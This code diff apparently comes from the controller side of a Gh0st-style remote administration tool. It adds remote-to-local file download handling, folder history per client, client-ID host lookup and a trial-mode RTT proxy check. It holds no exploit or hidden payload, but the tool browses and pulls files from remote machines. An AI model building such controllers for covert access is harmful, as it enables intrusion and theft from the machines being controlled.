ON_COMMAND(IDM_TRANSFER, OnTransfer)
|
ON_COMMAND(IDM_TRANSFER, OnTransfer)
|
||||||
ON_COMMAND(IDM_RENAME, OnRename)
|
ON_COMMAND(IDM_RENAME, OnRename)
|
||||||
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
|
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
|
||||||
@@ -156,6 +181,8 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
|
|||||||
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
|
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
|
||||||
ON_MESSAGE(WM_LOCAL_SEARCH_DONE, OnLocalSearchDone)
|
ON_MESSAGE(WM_LOCAL_SEARCH_DONE, OnLocalSearchDone)
|
||||||
ON_MESSAGE(WM_LOCAL_SEARCH_PROGRESS, OnLocalSearchProgress)
|
ON_MESSAGE(WM_LOCAL_SEARCH_PROGRESS, OnLocalSearchProgress)
|
||||||
|
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CFileManagerDlg::OnRecvFileV2Chunk)
|
||||||
|
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CFileManagerDlg::OnRecvFileV2Complete)
|
||||||
//}}AFX_MSG_MAP
|
//}}AFX_MSG_MAP
|
||||||
ON_COMMAND(ID_FILEMANGER_COMPRESS, &CFileManagerDlg::OnFilemangerCompress)
|
ON_COMMAND(ID_FILEMANGER_COMPRESS, &CFileManagerDlg::OnFilemangerCompress)
|
||||||
ON_COMMAND(ID_FILEMANGER_UNCOMPRESS, &CFileManagerDlg::OnFilemangerUncompress)
|
ON_COMMAND(ID_FILEMANGER_UNCOMPRESS, &CFileManagerDlg::OnFilemangerUncompress)
|
||||||
@@ -494,6 +521,12 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
|
|||||||
}
|
}
|
||||||
|
|
||||||
ShowMessage(_TRF("本地:装载目录 %s 完成"), m_Local_Path);
|
ShowMessage(_TRF("本地:装载目录 %s 完成"), m_Local_Path);
|
||||||
|
|
||||||
|
// 记录本地历史路径
|
||||||
|
if (m_Local_Path.GetLength() > 0) {
|
||||||
|
CAutoCLock lock(s_lockHistory);
|
||||||
|
s_strLocalHistoryPath = m_Local_Path;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
|
void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
|
||||||
@@ -966,6 +999,30 @@ void CFileManagerDlg::OnReceiveComplete()
|
|||||||
ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成,共 %d 个结果 (耗时 %d秒)"), m_strSearchName, m_strSearchPath, m_nSearchResultCount, dwElapsed);
|
ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成,共 %d 个结果 (耗时 %d秒)"), m_strSearchName, m_strSearchPath, m_nSearchResultCount, dwElapsed);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
case TOKEN_CLIENTID:
|
||||||
|
break;
|
||||||
|
case COMMAND_SEND_FILE_V2:
|
||||||
|
case COMMAND_FILE_COMPLETE_V2: {
|
||||||
|
// V2 下载(远程→本地):客户端把 chunk 通过 FileManager 子连接推回服务端。
|
||||||
|
// 此函数在 NotifyProc -> worker 线程上调用。窗口创建/UI 操作必须回 UI 线程,
|
||||||
|
// 否则消息泵不通,进度框不会显示(落盘可在任意线程,影响仅限 UI)。
|
||||||
|
// 拷贝数据后 PostMessage 回自己;UI 线程的 OnRecvFileV2Chunk/Complete 处理。
|
||||||
|
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
|
||||||
|
unsigned len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||||||
|
size_t minSize = (buf[0] == COMMAND_FILE_COMPLETE_V2)
|
||||||
|
? sizeof(FileCompletePacketV2) : sizeof(FileChunkPacketV2);
|
||||||
|
if (len >= minSize) {
|
||||||
|
// 两种结构 cmd/transferID 偏移一致,可共用 FileChunkPacketV2 取 transferID
|
||||||
|
uint64_t transferID = ((FileChunkPacketV2*)buf)->transferID;
|
||||||
|
UINT msg = (buf[0] == COMMAND_FILE_COMPLETE_V2)
|
||||||
|
? WM_RECVFILEV2_COMPLETE : WM_RECVFILEV2_CHUNK;
|
||||||
|
// 用 std::pair<vector,uint64> 当 wParam 载体,UI 端 delete
|
||||||
|
auto* payload = new std::pair<std::vector<BYTE>, uint64_t>(
|
||||||
|
std::vector<BYTE>(buf, buf + len), transferID);
|
||||||
|
PostMessage(msg, (WPARAM)payload, 0);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
SendException();
|
SendException();
|
||||||
break;
|
break;
|
||||||
@@ -1024,6 +1081,13 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
|||||||
m_Remote_Directory_ComboBox.InsertStringL(0, m_Remote_Path);
|
m_Remote_Directory_ComboBox.InsertStringL(0, m_Remote_Path);
|
||||||
m_Remote_Directory_ComboBox.SetCurSel(0);
|
m_Remote_Directory_ComboBox.SetCurSel(0);
|
||||||
|
|
||||||
|
// 记录远程历史路径(按客户端ID区分)
|
||||||
|
uint64_t clientID = GetClientID();
|
||||||
|
if (m_Remote_Path.GetLength() > 0 && clientID != 0) {
|
||||||
|
CAutoCLock lock(s_lockHistory);
|
||||||
|
s_mapRemoteHistoryPath[clientID] = m_Remote_Path;
|
||||||
|
}
|
||||||
|
|
||||||
// 得到返回数据前禁窗口
|
// 得到返回数据前禁窗口
|
||||||
m_list_remote.EnableWindow(FALSE);
|
m_list_remote.EnableWindow(FALSE);
|
||||||
m_ProgressCtrl->SetPos(0);
|
m_ProgressCtrl->SetPos(0);
|
||||||
@@ -1594,6 +1658,57 @@ void CFileManagerDlg::OnRemoteSearch()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CFileManagerDlg::OnLocalHistory()
|
||||||
|
{
|
||||||
|
// 跳转到上次打开的本地文件夹
|
||||||
|
CString historyPath;
|
||||||
|
{
|
||||||
|
CAutoCLock lock(s_lockHistory);
|
||||||
|
historyPath = s_strLocalHistoryPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (historyPath.IsEmpty()) {
|
||||||
|
ShowMessage(_TR("没有本地历史记录"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查目录是否存在
|
||||||
|
if (GetFileAttributesA(historyPath) == INVALID_FILE_ATTRIBUTES) {
|
||||||
|
ShowMessage(_TRF("历史目录不存在: %s"), historyPath);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_Local_Path = historyPath;
|
||||||
|
FixedLocalFileList(".");
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFileManagerDlg::OnRemoteHistory()
|
||||||
|
{
|
||||||
|
// 跳转到上次打开的远程文件夹(按客户端ID区分)
|
||||||
|
uint64_t clientID = GetClientID();
|
||||||
|
if (clientID == 0) {
|
||||||
|
ShowMessage(_TR("无法识别远程主机"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
CString historyPath;
|
||||||
|
{
|
||||||
|
CAutoCLock lock(s_lockHistory);
|
||||||
|
auto it = s_mapRemoteHistoryPath.find(clientID);
|
||||||
|
if (it != s_mapRemoteHistoryPath.end()) {
|
||||||
|
historyPath = it->second;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (historyPath.IsEmpty()) {
|
||||||
|
ShowMessage(_TR("没有远程历史记录"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_Remote_Path = historyPath;
|
||||||
|
GetRemoteFileList(".");
|
||||||
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::OnLocalView()
|
void CFileManagerDlg::OnLocalView()
|
||||||
{
|
{
|
||||||
// TODO: Add your command handler code here
|
// TODO: Add your command handler code here
|
||||||
@@ -2596,10 +2711,87 @@ void CFileManagerDlg::OnLocalStop()
|
|||||||
|
|
||||||
void CFileManagerDlg::PostNcDestroy()
|
void CFileManagerDlg::PostNcDestroy()
|
||||||
{
|
{
|
||||||
// TODO: Add your specialized code here and/or call the base class
|
// 清理 V2 接收进度框:注意 CDialogBase::PostNcDestroy 写死 `delete this`,
|
||||||
|
// 对话框关窗时会自删——这里**不能** delete,否则双重释放。
|
||||||
|
// 用 HWND 而非 ptr 判活,避免野指针;SendMessage(WM_CLOSE) 让它走自己关闭路径。
|
||||||
|
for (auto& entry : m_FileRecvDlgs) {
|
||||||
|
HWND hWnd = entry.second.first;
|
||||||
|
if (hWnd && ::IsWindow(hWnd)) {
|
||||||
|
::SendMessage(hWnd, WM_CLOSE, 0, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
m_FileRecvDlgs.clear();
|
||||||
__super::PostNcDestroy();
|
__super::PostNcDestroy();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// V2 下载(远程→本地)chunk 处理:UI 线程上执行,安全创建/操作进度框
|
||||||
|
LRESULT CFileManagerDlg::OnRecvFileV2Chunk(WPARAM wParam, LPARAM /*lParam*/)
|
||||||
|
{
|
||||||
|
auto* payload = (std::pair<std::vector<BYTE>, uint64_t>*)wParam;
|
||||||
|
if (!payload) return 0;
|
||||||
|
|
||||||
|
BYTE* szBuffer = payload->first.data();
|
||||||
|
size_t len = payload->first.size();
|
||||||
|
uint64_t transferID = payload->second;
|
||||||
|
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
|
||||||
|
|
||||||
|
// 按 transferID 懒加载/复用进度框
|
||||||
|
// 注意:CDlgFileSend 的 PostNcDestroy 自删(CDialogBase 默认行为),
|
||||||
|
// 窗口被自动关闭后 dlg 是野指针,HWND 失效是唯一可信号——重建即可,
|
||||||
|
// 旧 ptr 不再访问、不能 delete。
|
||||||
|
auto& entry = m_FileRecvDlgs[transferID];
|
||||||
|
CDlgFileSend* dlg = entry.second;
|
||||||
|
if (dlg == nullptr || !::IsWindow(entry.first)) {
|
||||||
|
dlg = new CDlgFileSend(g_2015RemoteDlg, m_ContextObject->GetServer(),
|
||||||
|
m_ContextObject, FALSE);
|
||||||
|
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
|
||||||
|
dlg->SetWindowTextA(_TR("接收文件 (V2)"));
|
||||||
|
dlg->ShowWindow(SW_SHOW);
|
||||||
|
dlg->m_bKeepConnection = TRUE; // FileManager 子连接复用,对话框关闭时不断开
|
||||||
|
entry = { dlg->GetSafeHwnd(), dlg };
|
||||||
|
}
|
||||||
|
|
||||||
|
// 落盘
|
||||||
|
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
|
||||||
|
int n = RecvFileChunkV2((char*)szBuffer, len, nullptr, nullptr, hash, hmac, 0);
|
||||||
|
if (n) {
|
||||||
|
Mprintf("[FileManager] RecvFileChunkV2 failed: %d\n", n);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 进度
|
||||||
|
BYTE* name = szBuffer + sizeof(FileChunkPacketV2);
|
||||||
|
dlg->UpdateProgress(CString((char*)name, (int)pkt->nameLength), FileProgressInfo(pkt));
|
||||||
|
|
||||||
|
delete payload;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// V2 文件完成校验:UI 线程
|
||||||
|
LRESULT CFileManagerDlg::OnRecvFileV2Complete(WPARAM wParam, LPARAM /*lParam*/)
|
||||||
|
{
|
||||||
|
auto* payload = (std::pair<std::vector<BYTE>, uint64_t>*)wParam;
|
||||||
|
if (!payload) return 0;
|
||||||
|
|
||||||
|
BYTE* szBuffer = payload->first.data();
|
||||||
|
size_t len = payload->first.size();
|
||||||
|
uint64_t transferID = payload->second;
|
||||||
|
|
||||||
|
bool verifyOk = HandleFileCompleteV2((const char*)szBuffer, len, 0);
|
||||||
|
Mprintf("[FileManager] V2 文件校验%s\n", verifyOk ? "通过" : "失败");
|
||||||
|
|
||||||
|
// 关闭对应进度框
|
||||||
|
auto it = m_FileRecvDlgs.find(transferID);
|
||||||
|
if (it != m_FileRecvDlgs.end()) {
|
||||||
|
if (::IsWindow(it->second.first)) {
|
||||||
|
it->second.second->FinishFileSend(verifyOk);
|
||||||
|
}
|
||||||
|
m_FileRecvDlgs.erase(it);
|
||||||
|
}
|
||||||
|
|
||||||
|
delete payload;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::SendTransferMode()
|
void CFileManagerDlg::SendTransferMode()
|
||||||
{
|
{
|
||||||
CFileTransferModeDlg dlg(this);
|
CFileTransferModeDlg dlg(this);
|
||||||
@@ -3125,18 +3317,19 @@ void CFileManagerDlg::OnTransferV2ToRemote()
|
|||||||
// 通知客户端目标目录(使用远程当前目录)
|
// 通知客户端目标目录(使用远程当前目录)
|
||||||
// 由 SendFilesToClientV2 内部的 COMMAND_C2C_PREPARE 处理
|
// 由 SendFilesToClientV2 内部的 COMMAND_C2C_PREPARE 处理
|
||||||
|
|
||||||
// 调用V2传输 - 需要通过IP找到主连接(m_ContextObject是子连接)
|
// 调用V2传输 - 通过 clientID 找主连接(m_ContextObject 是子连接)。
|
||||||
if (g_2015RemoteDlg && m_ContextObject) {
|
// 不能用 GetPeerName() + FindHostByIP:NAT/frpc/反代场景下子连接的 socket peer
|
||||||
// 通过子连接的IP地址找到主连接
|
// 常是 127.0.0.1 或内网地址,跟主连接登录时存的 RES_CLIENT_PUBIP 对不上,
|
||||||
std::string peerIP = m_ContextObject->GetPeerName();
|
// 会找到错误的 ctx 或返回 NULL(剪贴板 V2 走 FindHost(clientID) 没此问题)。
|
||||||
context* mainCtx = g_2015RemoteDlg->FindHostByIP(peerIP);
|
if (g_2015RemoteDlg) {
|
||||||
|
uint64_t clientID = GetClientID();
|
||||||
|
context* mainCtx = clientID ? g_2015RemoteDlg->FindHost(clientID) : nullptr;
|
||||||
if (mainCtx) {
|
if (mainCtx) {
|
||||||
// 使用远程当前目录作为目标目录
|
|
||||||
std::string remoteDir = m_Remote_Path.GetString();
|
std::string remoteDir = m_Remote_Path.GetString();
|
||||||
g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir);
|
g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir);
|
||||||
ShowMessage(_TRF("V2传输已启动,共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str());
|
ShowMessage(_TRF("V2传输已启动,共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str());
|
||||||
} else {
|
} else {
|
||||||
ShowMessage(_TRF("找不到主连接: %s"), peerIP.c_str());
|
ShowMessage(_TRF("找不到主连接: clientID=%llu"), clientID);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
|
|
||||||
#include "IOCPServer.h"
|
#include "IOCPServer.h"
|
||||||
#include "SortListCtrl.h"
|
#include "SortListCtrl.h"
|
||||||
|
#include "../../common/locker.h"
|
||||||
#include <map>
|
#include <map>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
@@ -35,6 +36,8 @@
|
|||||||
#define WM_MY_MESSAGE (WM_USER+300)
|
#define WM_MY_MESSAGE (WM_USER+300)
|
||||||
#define WM_LOCAL_SEARCH_DONE (WM_USER+302)
|
#define WM_LOCAL_SEARCH_DONE (WM_USER+302)
|
||||||
#define WM_LOCAL_SEARCH_PROGRESS (WM_USER+303)
|
#define WM_LOCAL_SEARCH_PROGRESS (WM_USER+303)
|
||||||
|
#define WM_RECVFILEV2_CHUNK (WM_USER+304)
|
||||||
|
#define WM_RECVFILEV2_COMPLETE (WM_USER+305)
|
||||||
|
|
||||||
// FileManagerDlg.h : header file
|
// FileManagerDlg.h : header file
|
||||||
//
|
//
|
||||||
@@ -246,10 +249,12 @@ protected:
|
|||||||
afx_msg void OnLocalDownloads();
|
afx_msg void OnLocalDownloads();
|
||||||
afx_msg void OnLocalHome();
|
afx_msg void OnLocalHome();
|
||||||
afx_msg void OnLocalSearch();
|
afx_msg void OnLocalSearch();
|
||||||
|
afx_msg void OnLocalHistory();
|
||||||
afx_msg void OnRemoteDesktop();
|
afx_msg void OnRemoteDesktop();
|
||||||
afx_msg void OnRemoteDownloads();
|
afx_msg void OnRemoteDownloads();
|
||||||
afx_msg void OnRemoteHome();
|
afx_msg void OnRemoteHome();
|
||||||
afx_msg void OnRemoteSearch();
|
afx_msg void OnRemoteSearch();
|
||||||
|
afx_msg void OnRemoteHistory();
|
||||||
afx_msg void OnTransferV2ToRemote(); // V2: 本地文件传输到远程
|
afx_msg void OnTransferV2ToRemote(); // V2: 本地文件传输到远程
|
||||||
afx_msg void OnTransferV2ToLocal(); // V2: 远程文件传输到本地
|
afx_msg void OnTransferV2ToLocal(); // V2: 远程文件传输到本地
|
||||||
//}}AFX_MSG
|
//}}AFX_MSG
|
||||||
@@ -266,6 +271,15 @@ protected:
|
|||||||
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
|
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
|
||||||
private:
|
private:
|
||||||
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
|
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
|
||||||
|
|
||||||
|
// V2 下载(远程→本地):FileManager 子连接的 NotifyProc 在 worker 线程上
|
||||||
|
// 直接调 OnReceiveComplete,不能在那里 new 进度框(窗口创建在 worker 线程
|
||||||
|
// 没有消息泵,PostMessage 投不出去)。把 chunk 数据拷贝出来 PostMessage 回
|
||||||
|
// 自己(UI 线程)处理,参考 ScreenSpyDlg 同样的模式。按 transferID 维护进度框。
|
||||||
|
std::map<uint64_t, std::pair<HWND, class CDlgFileSend*>> m_FileRecvDlgs;
|
||||||
|
afx_msg LRESULT OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam);
|
||||||
|
|
||||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||||
void SendTransferMode();
|
void SendTransferMode();
|
||||||
void SendFileData();
|
void SendFileData();
|
||||||
@@ -274,6 +288,14 @@ private:
|
|||||||
void EnableControl(BOOL bEnable = TRUE);
|
void EnableControl(BOOL bEnable = TRUE);
|
||||||
void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files);
|
void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files);
|
||||||
float m_fScalingFactor;
|
float m_fScalingFactor;
|
||||||
|
|
||||||
|
// 历史路径记录(静态,跨实例共享)
|
||||||
|
static CString s_strLocalHistoryPath;
|
||||||
|
static std::map<uint64_t, CString> s_mapRemoteHistoryPath;
|
||||||
|
static CLock s_lockHistory; // 保护历史路径的锁
|
||||||
|
|
||||||
|
// 获取有效的客户端ID(优先用 m_ClientID,否则通过 IP 找主连接)
|
||||||
|
uint64_t GetClientID() const;
|
||||||
public:
|
public:
|
||||||
afx_msg void OnFilemangerCompress();
|
afx_msg void OnFilemangerCompress();
|
||||||
afx_msg void OnFilemangerUncompress();
|
afx_msg void OnFilemangerUncompress();
|
||||||
|
|||||||
@@ -7,6 +7,68 @@
|
|||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <ws2tcpip.h>
|
#include <ws2tcpip.h>
|
||||||
|
|
||||||
|
// 服务端 RTT 反代理(试用版执法)。声明在主对话框 cpp 中,无单独头文件。
|
||||||
|
BOOL IsTrail(const std::string& passcode);
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// SIO_TCP_INFO 兼容性 shim
|
||||||
|
//
|
||||||
|
// SIO_TCP_INFO 自 Win10 1703 / Server 2016 起提供,对应的 SDK 头声明只在
|
||||||
|
// NTDDI_VERSION >= NTDDI_WIN10_RS2 (0x0A000003) 时才可见。本项目当前
|
||||||
|
// _WIN32_WINNT=0x0602 / NTDDI_VERSION=0x06020000(Win8),整体上调宏会
|
||||||
|
// 波及其他模块,且会排除 Win8/8.1 用户。因此在此处本地声明常量与结构,
|
||||||
|
// 运行时若 OS 不支持,WSAIoctl 会返回 WSAEOPNOTSUPP,由探测代码静默降级。
|
||||||
|
//
|
||||||
|
// 结构体字段顺序严格遵循 MS 公开的 TCP_INFO_v0 定义,不要随意调整。
|
||||||
|
// ============================================================================
|
||||||
|
#ifndef SIO_TCP_INFO
|
||||||
|
#define SIO_TCP_INFO _WSAIORW(IOC_VENDOR, 39)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef struct _TCP_INFO_v0_local {
|
||||||
|
ULONG State; // TCPSTATE(枚举,按 4 字节读)
|
||||||
|
ULONG Mss;
|
||||||
|
ULONG64 ConnectionTimeMs;
|
||||||
|
UCHAR TimestampsEnabled;
|
||||||
|
UCHAR Pad_[3]; // 显式 padding,让 RttUs 落在 4 字节边界
|
||||||
|
ULONG RttUs; // <-- 本文件唯一关心的字段
|
||||||
|
ULONG MinRttUs;
|
||||||
|
ULONG BytesInFlight;
|
||||||
|
ULONG Cwnd;
|
||||||
|
ULONG SndWnd;
|
||||||
|
ULONG RcvWnd;
|
||||||
|
ULONG RcvBuf;
|
||||||
|
ULONG64 BytesOut;
|
||||||
|
ULONG64 BytesIn;
|
||||||
|
ULONG BytesReordered;
|
||||||
|
ULONG BytesRetrans;
|
||||||
|
ULONG FastRetrans;
|
||||||
|
ULONG DupAcksIn;
|
||||||
|
ULONG TimeoutEpisodes;
|
||||||
|
UCHAR SynRetrans;
|
||||||
|
} TCP_INFO_v0_local;
|
||||||
|
|
||||||
|
// 读取 socket 的内核测得 RTT。成功返回 0 并写入 *rttUs;失败返回 WSAGetLastError()。
|
||||||
|
static int QuerySocketTcpRttUs(SOCKET s, uint32_t* rttUs)
|
||||||
|
{
|
||||||
|
TCP_INFO_v0_local info; ZeroMemory(&info, sizeof(info));
|
||||||
|
DWORD ver = 0; // request v0
|
||||||
|
DWORD bytesReturned = 0;
|
||||||
|
int ret = WSAIoctl(s, SIO_TCP_INFO,
|
||||||
|
&ver, sizeof(ver),
|
||||||
|
&info, sizeof(info),
|
||||||
|
&bytesReturned, NULL, NULL);
|
||||||
|
if (ret == 0) {
|
||||||
|
if (rttUs) *rttUs = info.RttUs;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return WSAGetLastError();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 全 server 进程级 latch,IP 段触发与 RTT 触发共用。多 server 实例(多端口监听)共享一份,
|
||||||
|
// 任一先触发后其余 server 与其它触发路径不再重复弹框。
|
||||||
|
std::atomic<bool> IOCPServer::s_TrialAbuseWarned{false};
|
||||||
|
|
||||||
// Proxy Protocol v2 签名 (12 字节)
|
// Proxy Protocol v2 签名 (12 字节)
|
||||||
static const unsigned char PROXY_PROTOCOL_V2_SIGNATURE[12] = {
|
static const unsigned char PROXY_PROTOCOL_V2_SIGNATURE[12] = {
|
||||||
0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A
|
0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A
|
||||||
@@ -353,6 +415,13 @@ void IOCPServer::Destroy()
|
|||||||
|
|
||||||
if (m_hKillEvent != NULL) {
|
if (m_hKillEvent != NULL) {
|
||||||
SetEvent(m_hKillEvent);
|
SetEvent(m_hKillEvent);
|
||||||
|
// RTT 轮询线程要等它退出后再关 m_hKillEvent,否则线程仍在 WaitForSingleObject 上时
|
||||||
|
// 关句柄是 UB。监听 / 工作线程是用 m_bTimeToKill 兜底的,原有时序不动。
|
||||||
|
if (m_hRttThread != NULL) {
|
||||||
|
WaitForSingleObject(m_hRttThread, 5000);
|
||||||
|
SAFE_CLOSE_HANDLE(m_hRttThread);
|
||||||
|
m_hRttThread = NULL;
|
||||||
|
}
|
||||||
SAFE_CLOSE_HANDLE(m_hKillEvent);
|
SAFE_CLOSE_HANDLE(m_hKillEvent);
|
||||||
m_hKillEvent = NULL;
|
m_hKillEvent = NULL;
|
||||||
}
|
}
|
||||||
@@ -414,7 +483,10 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
m_nPort = uPort;
|
m_nPort = uPort;
|
||||||
m_NotifyProc = NotifyProc;
|
m_NotifyProc = NotifyProc;
|
||||||
m_OfflineProc = OffProc;
|
m_OfflineProc = OffProc;
|
||||||
m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
|
// manual-reset:本进程内可能有多个等待者(ListenThread / RttPollThreadProc)。
|
||||||
|
// 自动重置会让 SetEvent 只唤醒一个等待者,另一个要等自身 timeout(≤1s)。
|
||||||
|
// 改 manual-reset 后所有等待者一次性醒来;本工程从无 ResetEvent 调用,无副作用。
|
||||||
|
m_hKillEvent = CreateEvent(NULL,TRUE,FALSE,NULL);
|
||||||
|
|
||||||
if (m_hKillEvent==NULL) {
|
if (m_hKillEvent==NULL) {
|
||||||
return 1;
|
return 1;
|
||||||
@@ -507,6 +579,20 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
//启动工作线程 1 2
|
//启动工作线程 1 2
|
||||||
InitializeIOCP();
|
InitializeIOCP();
|
||||||
|
|
||||||
|
// 试用版反代理 RTT 轮询(仅在主控自身为试用模式时启动)。
|
||||||
|
// 检测信号来自内核 SIO_TCP_INFO,详见 IOCPServer.h 头部 / RttPollThreadProc 注释。
|
||||||
|
{
|
||||||
|
std::string pwd = THIS_CFG.GetStr("settings", "Password", "");
|
||||||
|
m_bTrialMode = (IsTrail(pwd) == TRUE);
|
||||||
|
}
|
||||||
|
if (m_bTrialMode) {
|
||||||
|
m_hRttThread = CreateThread(NULL, 0, RttPollThreadProc, (void*)this, 0, NULL);
|
||||||
|
if (m_hRttThread == NULL) {
|
||||||
|
Mprintf("[Compliance] RTT poll thread spawn failed (err=%lu); LANRttChecker (client-side) remains as fallback.\n",
|
||||||
|
GetLastError());
|
||||||
|
}
|
||||||
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -823,6 +909,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
|||||||
assert(ContextObject);
|
assert(ContextObject);
|
||||||
// 输出服务端所发送的命令
|
// 输出服务端所发送的命令
|
||||||
int cmd = szBuffer[0];
|
int cmd = szBuffer[0];
|
||||||
|
#ifdef _DEBUG
|
||||||
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
|
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
|
||||||
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
|
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
|
||||||
char buf[100] = { 0 };
|
char buf[100] = { 0 };
|
||||||
@@ -833,6 +920,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
|||||||
}
|
}
|
||||||
Mprintf("[COMMAND] Send: %s\r\n", buf);
|
Mprintf("[COMMAND] Send: %s\r\n", buf);
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
try {
|
try {
|
||||||
do {
|
do {
|
||||||
if (ulOriginalLength <= 0) return FALSE;
|
if (ulOriginalLength <= 0) return FALSE;
|
||||||
@@ -928,6 +1016,97 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// 试用版反代理 —— 服务端 RTT 轮询线程
|
||||||
|
//
|
||||||
|
// 仅在主控自身处于试用模式(IsTrail(passcode) == TRUE)时由 StartServer 启动。
|
||||||
|
// 1 Hz 遍历 m_ContextConnectionList,对每个活跃连接调 WSAIoctl(SIO_TCP_INFO) 取
|
||||||
|
// 内核测得的纯网络 RTT,喂给 ctx->m_RttDetector。任一 detector 首次触发 →
|
||||||
|
// 通过 s_TrialAbuseWarned latch 抢一次 PostMessage 给主窗口弹框;其余 detector
|
||||||
|
// 仍照常运转(继续记日志),但不再重复弹框。
|
||||||
|
//
|
||||||
|
// 并发模型:对齐既有 IoRefCount / IsRemoved 模式 —— 持 m_cs snapshot 指针并
|
||||||
|
// 引用计数 ++,锁外做 WSAIoctl + 写 atomic,最后引用计数 --。RemoveStaleContext
|
||||||
|
// 会等 IoRefCount==0 才回收,无悬空指针。
|
||||||
|
//
|
||||||
|
// 不支持 SIO_TCP_INFO 的 OS(Win8 / Server 2012 等):首次探测命中
|
||||||
|
// WSAEOPNOTSUPP 时打日志后线程自行退出;客户端 LANRttChecker 仍作为兜底。
|
||||||
|
// ============================================================================
|
||||||
|
DWORD IOCPServer::RttPollThreadProc(LPVOID lParam)
|
||||||
|
{
|
||||||
|
IOCPServer* This = (IOCPServer*)lParam;
|
||||||
|
|
||||||
|
while (!This->m_bTimeToKill) {
|
||||||
|
DWORD waitRet = WaitForSingleObject(This->m_hKillEvent, 1000);
|
||||||
|
if (waitRet == WAIT_OBJECT_0 || waitRet == WAIT_FAILED) break;
|
||||||
|
